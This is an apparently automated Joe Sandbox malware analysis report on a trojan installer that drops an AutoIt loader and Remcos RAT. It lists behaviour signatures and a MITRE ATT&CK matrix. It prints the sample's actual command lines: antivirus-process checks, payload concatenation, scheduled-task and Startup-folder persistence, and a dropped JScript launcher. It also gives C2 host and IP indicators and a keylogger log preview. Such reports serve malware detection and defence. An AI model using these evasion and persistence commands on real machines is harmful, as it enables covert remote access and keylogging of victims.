Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_00FFF735
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	19_2_00FFFA36
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FF3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00FF3CE2

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FA5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

19_2_00FA5D13

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\33988\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\33988	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_010045D5 BlockInput,

19_2_010045D5

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FA5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

19_2_00FA5240

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FC5CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

19_2_00FC5CAC

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FE88CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

19_2_00FE88CD

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FBA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		19_2_00FBA385
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FBA354 SetUnhandledExceptionFilter,		19_2_00FBA354

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FE9369 LogonUserW,

19_2_00FE9369

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FA5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

19_2_00FA5240

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FF1AC6 SendInput,keybd_event,

19_2_00FF1AC6

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FF51E2 mouse_event,

19_2_00FF51E2

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Hazards Hazards.cmd && Hazards.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 33988	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "EmergencyAdaptedResearchOrdinaryHeatherSuspendedHospitalsScanner" Cancer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Oe + ..\Increases + ..\Independently + ..\Devon + ..\Hotels + ..\Automobile + ..\Albany + ..\Georgia + ..\Guess + ..\Funeral w	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\33988\Paintball.com Paintball.com w	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Mon" /tr "wscript //B 'C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js'" /sc minute /mo 5 /F	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr" "C:\Users\user\AppData\Local\Secure360 Innovations\V"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr" "C:\Users\user\AppData\Local\Secure360 Innovations\V"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\securify360.url" & echo url="c:\users\user\appdata\local\secure360 innovations\securify360.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\securify360.url" & exit
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\securify360.url" & echo url="c:\users\user\appdata\local\secure360 innovations\securify360.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\securify360.url" & exit			Jump to behavior

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

19_2_00FE88CD

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FF4F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

19_2_00FF4F1C

Source: Paintball.com, 0000000B.00000000.1326719432.00000000009B6000.00000002.00000001.01000000.00000007.sdmp, Paintball.com, 0000000B.00000003.1336860010.00000000045A4000.00000004.00000800.00020000.00000000.sdmp, Securify360.scr, 00000013.00000000.1361085844.0000000001046000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: registros.dat.11.dr	Binary or memory string: [2024/12/12 11:40:48 Program Manager]
Source: Securify360.scr	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FB885B cpuid

19_2_00FB885B

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FD0030 GetLocalTime,__swprintf,

19_2_00FD0030

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FD0722 GetUserNameW,

19_2_00FD0722

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FC416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

19_2_00FC416A

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match

File source: C:\ProgramData\remcos\registros.dat, type: DROPPED

Source: Securify360.scr	Binary or memory string: WIN_81
Source: Securify360.scr	Binary or memory string: WIN_XP
Source: Securify360.scr	Binary or memory string: WIN_XPe
Source: Securify360.scr	Binary or memory string: WIN_VISTA
Source: Securify360.scr	Binary or memory string: WIN_7
Source: Securify360.scr	Binary or memory string: WIN_8
Source: Paintball.com.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 4USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Source: Yara match

File source: C:\ProgramData\remcos\registros.dat, type: DROPPED

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_0100696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		19_2_0100696E
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_01006E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		19_2_01006E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	121 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	2 Registry Run Keys / Startup Folder	12 Process Injection	111 Masquerading	LSA Secrets	3 Security Software Discovery	SSH	Keylogging	2 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Valid Accounts	Cached Domain Credentials	4 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
sXpIsdpkzy.exe	53%	ReversingLabs	Win32.Trojan.Casdet

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\33988\Paintball.com	3%	ReversingLabs

Name	IP	Active	Malicious	Reputation
geoplugin.net	178.237.33.50	true	false	high
3diciembre.con-ip.com	181.131.217.244	true	true	unknown
OFfdlkbKbwMNYjhkX.OFfdlkbKbwMNYjhkX	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	sXpIsdpkzy.exe	false	high
http://www.autoitscript.com/autoit3/J	Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000000.1326888462.00000000009C9000.00000002.00000001.01000000.00000007.sdmp, Securify360.scr, 00000013.00000000.1361219033.0000000001059000.00000002.00000001.01000000.00000009.sdmp, Securify360.scr, 00000016.00000000.1456357468.0000000001059000.00000002.00000001.01000000.00000009.sdmp, Zinc.0.dr, Securify360.scr.11.dr, Paintball.com.2.dr	false	high
http://ocsp.sectigo.com00	sXpIsdpkzy.exe	false	high
https://sectigo.com/CPS0	sXpIsdpkzy.exe	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	sXpIsdpkzy.exe	false	high
http://nsis.sf.net/NSIS_ErrorError	sXpIsdpkzy.exe	false	high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	sXpIsdpkzy.exe	false	high
http://ocsp.sectigo.com0	sXpIsdpkzy.exe	false	high
https://www.autoitscript.com/autoit3/	Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	sXpIsdpkzy.exe	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
181.131.217.244	3diciembre.con-ip.com	Colombia		13489	EPMTelecomunicacionesSAESPCO	true
178.237.33.50	geoplugin.net	Netherlands		8455	ATOM86-ASATOM86NL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573901
Start date and time:	2024-12-12 17:38:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	sXpIsdpkzy.exe renamed because original name is a hash value
Original Sample Name:	28773fb2aff96e836707d9ffd5e8aa706d0ce54c956fbee42b9dd9b150e997e8.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@36/25@4/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 82 Number of non-executed functions: 317
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: sXpIsdpkzy.exe

Simulations

Behavior and APIs

Time	Type	Description
11:38:55	API Interceptor	1x Sleep call for process: sXpIsdpkzy.exe modified
11:39:01	API Interceptor	2216x Sleep call for process: Paintball.com modified
17:39:02	Task Scheduler	Run new task: Mon path: wscript s>//B "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js"
17:39:03	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Securify360.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
181.131.217.244	x4fDy1muYs.exe	Get hash	malicious	Unknown	Browse
	VwiELrqQjD.exe	Get hash	malicious	Remcos	Browse
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse
	3XSXmrEOw7.exe	Get hash	malicious	Unknown	Browse
	pPLwX9wSrD.exe	Get hash	malicious	Unknown	Browse
	s0tuvMen1D.exe	Get hash	malicious	AsyncRAT, DcRat	Browse
	hCJ8gK9kNn.exe	Get hash	malicious	Unknown	Browse
	SYSnyI8qDu.exe	Get hash	malicious	Remcos	Browse
	QU4rXM7CiL.exe	Get hash	malicious	Remcos	Browse
	4wECQoBvYC.exe	Get hash	malicious	Remcos	Browse
178.237.33.50	VwiELrqQjD.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	SYSnyI8qDu.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	Reqt 83291.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	DOCUMENT#5885588@081366(766.pdf.exe	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	RFQ 008191.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	order CF08093-24.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	geoplugin.net/json.gp
	WgGo0xd2p8.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geoplugin.net	VwiELrqQjD.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	SYSnyI8qDu.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Reqt 83291.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	DOCUMENT#5885588@081366(766.pdf.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	RFQ 008191.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse	178.237.33.50
	order CF08093-24.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	178.237.33.50
	WgGo0xd2p8.exe	Get hash	malicious	Remcos	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EPMTelecomunicacionesSAESPCO	x4fDy1muYs.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	VwiELrqQjD.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	3XSXmrEOw7.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	pPLwX9wSrD.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	s0tuvMen1D.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	181.131.217.244
	hCJ8gK9kNn.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	SYSnyI8qDu.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	QU4rXM7CiL.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	ppc.elf	Get hash	malicious	Mirai	Browse	191.98.81.24
ATOM86-ASATOM86NL	VwiELrqQjD.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	SYSnyI8qDu.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Reqt 83291.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	DOCUMENT#5885588@081366(766.pdf.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	RFQ 008191.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse	178.237.33.50
	order CF08093-24.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	178.237.33.50
	WgGo0xd2p8.exe	Get hash	malicious	Remcos	Browse	178.237.33.50

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	'Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	JSWunwO4rS.lnk	Get hash	malicious	LummaC Stealer	Browse
	Yn13dTQdcW.exe	Get hash	malicious	Vidar	Browse
	DM6vAAgoCw.exe	Get hash	malicious	Orcus, Xmrig	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	'Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	JSWunwO4rS.lnk	Get hash	malicious	LummaC Stealer	Browse
	Yn13dTQdcW.exe	Get hash	malicious	Vidar	Browse
	DM6vAAgoCw.exe	Get hash	malicious	Orcus, Xmrig	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse

Created / dropped Files

C:\ProgramData\remcos\registros.dat

Process:	C:\Users\user\AppData\Local\Temp\33988\Paintball.com
File Type:	data
Category:	dropped
Size (bytes):	184
Entropy (8bit):	3.292321519291528
Encrypted:	false
SSDEEP:	3:rhlKlyKMlFPl7Jwb5JWRal2Jl+7R0DAlBG4phlKlyKMlFPl7Jv6blovDl6v:6lZUgb5YcIeeDAlMlZUCbWAv
MD5:	BDB58EF433B263D83E352AE887445F13
SHA1:	8DD9B1404D7ED4598E77AA683EBABC13DF5D7102
SHA-256:	67D2B2AAEF057537A4D34ECB2142639239DDCA64DB7B80242F49ACD506A305AB
SHA-512:	8D584312262F8D58EB9BF919657BCAB954C73326EE5FDDC97675C621FD1A0B9A0AA227591D0F7153A1C0FC9AD67AA380AB8A65FEFE0DF0C6E639B3F7B4323C25
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\registros.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.1.2./.1.2. .1.1.:.4.0.:.4.8. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.2.0.2.4./.1.2./.1.2. .1.1.:.4.0.:.4.8. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\json[1].json

Process:	C:\Users\user\AppData\Local\Temp\33988\Paintball.com
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	5.018384957371898
Encrypted:	false
SSDEEP:	12:tkluWJmnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zz2:qlupdRNuKyGX85jvXhNlT3/7CcVKWro
MD5:	C9BB4D5FD5C8A01D20EBF8334B62AE54
SHA1:	D38895F4CBB44CB10B6512A19034F14A2FC40359
SHA-256:	767218EC255B7E851971A77B773C0ECC59DC0B179ECA46ABCC29047EEE6216AA
SHA-512:	2D412433053610C0229FB3B73A26C8FB684F0A4AB03A53D0533FDC52D4E9882C25037015ACE7D4A411214AA9FAA780A8D950A83B57B200A877E26D7890977157
Malicious:	false
Preview:	{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7503",. "geoplugin_longitude":"-74.0014",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js

Process:	C:\Users\user\AppData\Local\Temp\33988\Paintball.com
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.836656187090179
Encrypted:	false
SSDEEP:	3:RiMIpGXIdPHo55wWAX+ZFk/iEkD52AGBCT4MD55CvlZo5uWAX+ZFk/iEkD52AGB9:RiJBJHonwWDEnkDdLBDHCvlywWDEnkDG
MD5:	21D760D106377F124E11C9AD72C92A34
SHA1:	4D3F6B4F554DA750DC52C4875D6C17D3132CB688
SHA-256:	D5DBAB2A4E2CD79A04C8C1E1B429A75836A484AA427065949BBC7AB4331C4427
SHA-512:	E2682DD283D7D4800F58E22643B1E043FA874F085FADFD8D76889C3A1959A7CF5A34009E32C6326AEB77AB66F40FDEA50146DD2CD06C82231A97C369A866C16B
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\Secure360 Innovations\\Securify360.scr\" \"C:\\Users\\user\\AppData\\Local\\Secure360 Innovations\\V\"")

C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Process:	C:\Users\user\AppData\Local\Temp\33988\Paintball.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
